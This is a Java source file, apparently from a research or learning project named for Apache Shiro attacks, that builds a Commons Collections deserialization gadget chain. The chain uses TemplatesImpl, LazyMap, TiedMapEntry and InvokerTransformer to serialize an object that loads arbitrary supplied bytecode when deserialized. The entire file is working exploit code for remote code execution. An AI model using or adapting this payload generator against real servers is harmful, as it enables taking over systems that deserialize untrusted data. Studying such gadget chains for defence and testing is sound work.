content: package com.govuln.shiroattack;
  
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import org.apache.commons.collections.Transformer;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  import java.io.ByteArrayOutputStream;
  import java.io.ObjectOutputStream;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.Map;
  
  public class CommonsCollectionsShiro {
      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
          Field field = obj.getClass().getDeclaredField(fieldName);
          field.setAccessible(true);
          field.set(obj, value);
      }
  
      public byte[] getPayload(byte[] clazzBytes) throws Exception {
          TemplatesImpl obj = new TemplatesImpl();
          setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
          setFieldValue(obj, "_name", "HelloTemplatesImpl");
          setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  
          Transformer transformer = new InvokerTransformer("getClass", null, null);
  
          Map innerMap = new HashMap();
          Map outerMap = LazyMap.decorate(innerMap, transformer);
  
          TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
  
          Map expMap = new HashMap();
          expMap.put(tme, "valuevalue");
  
          outerMap.clear();
          setFieldValue(transformer, "iMethodName", "newTransformer");
  
          // ==================
          // 生成序列化字符串
          ByteArrayOutputStream barr = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(barr);
          oos.writeObject(expMap);
          oos.close();
  
          return barr.toByteArray();
      }
  }